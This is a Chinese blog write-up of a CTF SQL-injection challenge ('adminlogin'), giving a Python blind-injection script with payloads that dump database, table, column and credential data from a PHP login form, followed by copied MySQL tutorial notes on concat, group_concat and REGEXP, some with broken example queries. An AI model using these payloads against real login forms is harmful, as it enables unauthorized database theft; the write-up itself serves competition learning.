wp篇 adminlogin【第四届江西省高校网络安全技能大赛初赛】

原创

这周末在做梦 于 2021-10-03 15:57:40 发布 1801 收藏 2

分类专栏： wp篇 文章标签： 网络安全 php mysql

本文链接：https://blog.csdn.net/weixin_46203060/article/details/120595054

这里写目录标题

一，题目描述

简而言之，附件中是一条连接，题目访问url/admin.php可以进入下图页面

很明显，这是一道SQL注入。

二，环境复现

环境复现的附件我就放在，资源里面了，大家可以免费下载。（资源审核中）
需要创建一个数据库ddctf（解释一下，我的英文ID是daydream，本人没有冒犯"DDCTF"的意思）,然后引用source.sql。
admin.php也经过了测试，waf使用的是非完全版——即不一定完全与比赛当时的waf相同。

三，playload和exp

playload放在exp里面了。

```python
# -*- coding:utf-8 -*-
import requests

url = 'http://1.116.103.114:84/admin/admin.php'
strings = "abcdefghijklmnopqrstuvwxyz1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ_{},-\\{\\}_"
#爆库：user=' or (select if(group_concat(distinct table_schema) regexp '^{}',exp(100000),1) from information_sch
ema.tables)#&pass=mochu7&submit=%E7%99%BB%E5%BD%95
#结果InfORmATIOn_SchEmA,ddcTf,mYSQl,PERfORmAncE_SchEmA,SEcURITY
#爆表：user=' or (select if(group_concat(distinct table_name) regexp '^{}',exp(100000),1) from information_schem
a.tables where table_schema regexp 'ddctf')#&pass=mochu7&submit=%E7%99%BB%E5%BD%95
#结果：user_flag
#爆列名:user=' or (select if(group_concat(distinct column_name) regexp '^{}',exp(10000),1) from information_sche
ma.columns where table_name regexp 'flag')#&pass=mochu7&submit=%E7%99%BB%E5%BD%95
#结果：id,username,password
#爆字段：user=' or (select if(group_concat(password) regexp '^{}',exp(10000),1) from ddctf.user_flag)#&pass=mochu
7&submit=%E7%99%BB%E5%BD%95
#结果：admin,daydream,flag{the_sql_f14g_0f_daydream},874a0300d72a3676c4413ce52454eff7
payload = "user=' or (select if(group_concat(distinct table_name) regexp '^{}',exp(100000),1) from information_s
chema.tables where table_schema regexp 'ddctf')#&pass=mochu7&submit=%E7%99%BB%E5%BD%95"
res = ''
f = ''
headers = {'Content-Type':'application/x-www-form-urlencoded'}
for i in range(20):#20为字符长度
    for c in strings:
        if res == '':
            pay = payload.format(c)
            print(pay)
            r = requests.post(url=url, data=pay,headers=headers).text
            #print(pay)
        else:
            pay = payload.format(res+c)
            r = requests.post(url=url, data=pay,headers=headers).text
            #print(pay)

        #print(r)
        if 'DOUBLE' in r:#DOUBLE为布尔式返回结果
            res += c
            f += c
            print(f)
            break
```

四，学习与收获

第一此了解到mysql可以使用正则匹配（好吧，就是我没有系统学习mysql），还学习了group contact的相关语法。把我的学习结果附在下面吧。

一、concat()函数

1、功能：将多个字符串连接成一个字符串。

2、语法：concat(str1, str2,...)

返回结果为连接参数产生的字符串，如果有任何一个参数为null，则返回值为null。

3、举例：

例1:select concat (id, name, score) as info from tt2;

（备注：中间有一行为null是因为tt2表中有一行的score值为null。）

```
mysql> select concat(id, name, score) as info from tt2;
+-------------+
| info        |
+-------------+
| 1小明0      |
| 2小王0      |
| 3小丽0      |
| 4小王0      |
| 5小明0      |
| 6小明0      |
| NULL        |
| 8maryleo60  |
| 9nancysun60 |
+-------------+
9 rows in set (0.01 sec)
```


例2：在例1的结果中三个字段id，name，score的组合没有分隔符，我们可以加一个逗号作为分隔符：

```
mysql> select concat(id, ',', name,',' ,score) as info from tt2;
+---------------+
| info          |
+---------------+
| 1,小明,0      |
| 2,小王,0      |
| 3,小丽,0      |
| 4,小王,0      |
| 5,小明,0      |
| 6,小明,0      |
| NULL          |
| 8,maryleo,60  |
| 9,nancysun,60 |
+---------------+
9 rows in set (0.00 sec)
```


但是输入sql语句麻烦了许多，三个字段需要输入两次逗号，如果10个字段，要输入九次逗号...麻烦死了啦，有没有什么简便方法呢？——于是可以指定参数之间的分隔符的concat_ws()来了！！！

二、concat_ws()函数

1、功能：和concat()一样，将多个字符串连接成一个字符串，但是可以一次性指定分隔符～（concat_ws就是concat with separator）

2、语法：concat_ws(separator, str1, str2, ...)

说明：第一个参数指定分隔符。需要注意的是分隔符不能为null，如果为null，则返回结果为null。

3、举例：

例3:我们使用concat_ws()将 分隔符指定为逗号，达到与例2相同的效果：

```
mysql> select concat_ws(',',id,name,score) as info from tt2;
+---------------+
| info          |
```

```
+---------------+
| 1,小明,0      |
| 2,小王,0      |
| 3,小丽,0      |
| 4,小王,0      |
| 5,小明,0      |
| 6,小明,0      |
| 7,            |
| 8,maryleo,60  |
| 9,nancysun,60 |
+---------------+
9 rows in set (0.00 sec)
```


例4：把分隔符指定为null，结果全部变成了null：

```
mysql> select concat_ws(null, id, name, score) as info from tt2;
+------+
| info |
+------+
| NULL |
| NULL |
| NULL |
| NULL |
| NULL |
| NULL |
| NULL |
| NULL |
| NULL |
+------+
9 rows in set (0.00 sec)
```


三、group_concat()函数

在有group by的查询语句中，select指定的字段要么就包含在group by语句的后面，作为分组的依据，要么就包含在聚合函数中。

```
mysql> select name, min(id) from tt2 group by name;
+----------+---------+
| name     | min(id) |
+----------+---------+
|          |       7 |
| maryleo  |       8 |
| nancysun |       9 |
| 小丽     |       3 |
| 小明     |       1 |
| 小王     |       2 |
+----------+---------+
6 rows in set (0.00 sec)
```


该例查询了name相同的的人中最小的id。如果我们要查询name相同的人的所有的id呢？

```
mysql> select name, id from tt2 order by name;
+----------+----+
| name     | id |
+----------+----+
|          |  7 |
| maryleo  |  8 |
| nancysun |  9 |
| 小丽     |  3 |
| 小明     |  1 |
| 小明     |  5 |
| 小明     |  6 |
| 小王     |  2 |
| 小王     |  4 |
+----------+----+
```

```
9 rows in set (0.00 sec)
```

但是这样同一个名字出现多次，看上去非常不直观。有没有更直观的方法，既让每个名字都只出现一次，又能够显示所有的名字相同的人的id呢？——使用group_concat()

1、功能：将group by产生的同一个分组中的值连接起来，返回一个字符串结果。

2、语法：group_concat([distinct] 要连接的字段 [order by 排序字段 asc/desc] [separator '分隔符'])

说明：通过使用distinct可以排除重复值；如果希望对结果中的值进行排序，可以使用order by子句；separator是一个字符串值，缺省为一个逗号。

3、举例：

使用group_concat()和group by显示相同名字的人的id号：

```
mysql> select name, group_concat(id) from tt2 group by name;
+----------+------------------+
| name     | group_concat(id) |
+----------+------------------+
|          | 7                |
| maryleo  | 8                |
| nancysun | 9                |
| 小丽     | 3                |
| 小明     | 1,5,6            |
| 小王     | 2,4              |
+----------+------------------+
6 rows in set (0.00 sec)
```


例8：将上面的id号从大到小排序，且用'_'作为分隔符：

```
mysql> select name, group_concat(id order by id desc separator '_') from tt2 group by name;
+----------+-----------------------------------------------------+
| name     | group_concat(id order by id desc separator '_') |
+----------+-----------------------------------------------------+
|          | 7                                                   |
| maryleo  | 8                                                   |
| nancysun | 9                                                   |
| 小丽     | 3                                                   |
| 小明     | 6_5_1                                               |
| 小王     | 4_2                                                 |
+----------+-----------------------------------------------------+
6 rows in set (0.00 sec)
```


上面的查询中显示了以name分组的每组中所有的id。接下来我们要查询以name分组的所有组的id和score：

```
mysql> select name, group_concat( concat_ws('-', id, score)order by id  ) from tt2 group by name;
+----------+-------------------------------------------------------+
| name     | group_concat( concat_ws('-', id, score)order by id  ) |
+----------+-------------------------------------------------------+
|          | 7                                                     |
| maryleo  | 8-60                                                  |
| nancysun | 9-60                                                  |
| 小丽     | 3-0                                                   |
| 小明     | 1-0,5-0,6-0                                           |
| 小王     | 2-0,4-0                                               |
+----------+-------------------------------------------------------+
6 rows in set (0.00 sec)
```


来自 <https://baijiahao.baidu.com/s?id=1595349117525189591&wfr=spider&for=pc>

MySQL支持基于正则表达式和REGEXP运算符的另一种模式匹配操作
https://www.php.cn/mysql-tutorials-416276.html

一，特点

1.它提供了强大而灵活的模式匹配，可以帮助我们为数据库系统实现power搜索实用程序。

2.REGEXP是执行正则表达式模式匹配时使用的运算符。

3.RLIKE是同义词。它还支持许多元字符，这些元字符在执行模式匹配时可以提供更大的灵活性和控制。

4.反斜杠用作转义字符。如果使用了双反斜杠，则仅在模式匹配中考虑。

5.不区分大小写。

二，详解

（一）匹配模式

PATTERN	模式匹配的内容
*	在它之前的零个或多个字符串实例
+	在它之前的一个或多个字符串实例
.	任何一个角色
?	匹配前面的字符串的零个或一个实例。
^	插入符号（^）匹配字符串的开头
$	字符串结束
[abc]	方括号之间列出的任何字符
[^abc]	方括号之间未列出的任何字符
[A-Z]	匹配任何大写字母。
[a-z]	匹配任何小写字母
[0-9]	匹配从0到9的任何数字。
[[:<:]]	匹配单词的开头。
[[:>:]]	匹配单词的结尾。
[:class:]	匹配一个字符类，即[：alpha：]匹配字母，[：space：]匹配空格，[：punct：]匹配标点符号，[：upper：]匹配上层字母。
p1|p2|p3	轮换; 匹配任何模式p1，p2或p3
{n}	n前面元素的实例
{m,n}	m到前面元素的n个实例

（二）举例

匹配字符串开头(^):

给出所有以“sa”开头的名称。例子——sam,samarth。

SELECT name FROM student_tbl WHERE name REGEXP '^sa';

匹配字符串的末尾($):

给出所有以“on”结尾的名称。例子——norton,merton.

SELECT name FROM student_tbl WHERE name REGEXP 'on$';

匹配它前面字符串的零个或一个实例(?):

给出所有包含“com”的标题。例子-comedy , romantic comedy.

SELECT title FROM movies_tbl WHERE title REGEXP 'com?';

匹配p1、p2或p3(p1|p2|p3)中的任何模式:

给出所有包含“be”或“ae”的名称。例子——Abel, Baer.

SELECT name FROM student_tbl WHERE REGEXP 'be|ae' ;

匹配方括号([abc])中列出的任何字符:

给出包含“j”或“z”的所有名称。例子-Lorentz, Rajs.

SELECT name FROM student_tbl WHERE REGEXP '[jz]' ;

匹配' a '到' z ' - ([a-z]) ([a-z]和(.)之间的任何小写字母:

检索包含字母“b”和“g”范围内的所有名称，后跟任意字符，后跟字母“a”。例如，Tobias, sewall.

匹配任何单个字符(.)

SELECT name FROM student_tbl WHERE REGEXP '[b-g].[a]' ;

匹配任何不在方括号中列出的字符。([^abc]):

给出所有不包含“j”或“z”的名称。例如: nerton, sewall.

SELECT name FROM student_tbl WHERE REGEXP '[^jz]' ;

匹配单词结尾[[:>:]]:

给出所有以字符“ack”结尾的标题。例子——Black.

SELECT title FROM movies_tbl WHERE REGEXP 'ack[[:>:]]';

匹配单词开头[[:<:]]:

给出所有以字符“for”开头的标题。例子-Forgetting Sarah Marshal.

SELECT title FROM movies_tbl WHERE title REGEXP '[[:<:]]for';

匹配一个字符类[:class:]:

i.e [:lower:]-小写字符，[:digit:] -数字字符等。

只给出包含字母字符的所有标题。例子-stranger things, Avengers.

SELECT title FROM movies_tbl WHERE REGEXP '[:alpha:]' ;

五，个人心得

主要是这篇大佬博客的具体内容写得不是很详细
还有描述不到位的地方，我就不提了，相信大家看上面的总结应该可以很快的理解这道题目的原理。
这里吐槽大佬一下，注入的流程不应该是“爆库”->“爆表”->“爆列名”->“爆字段”吗？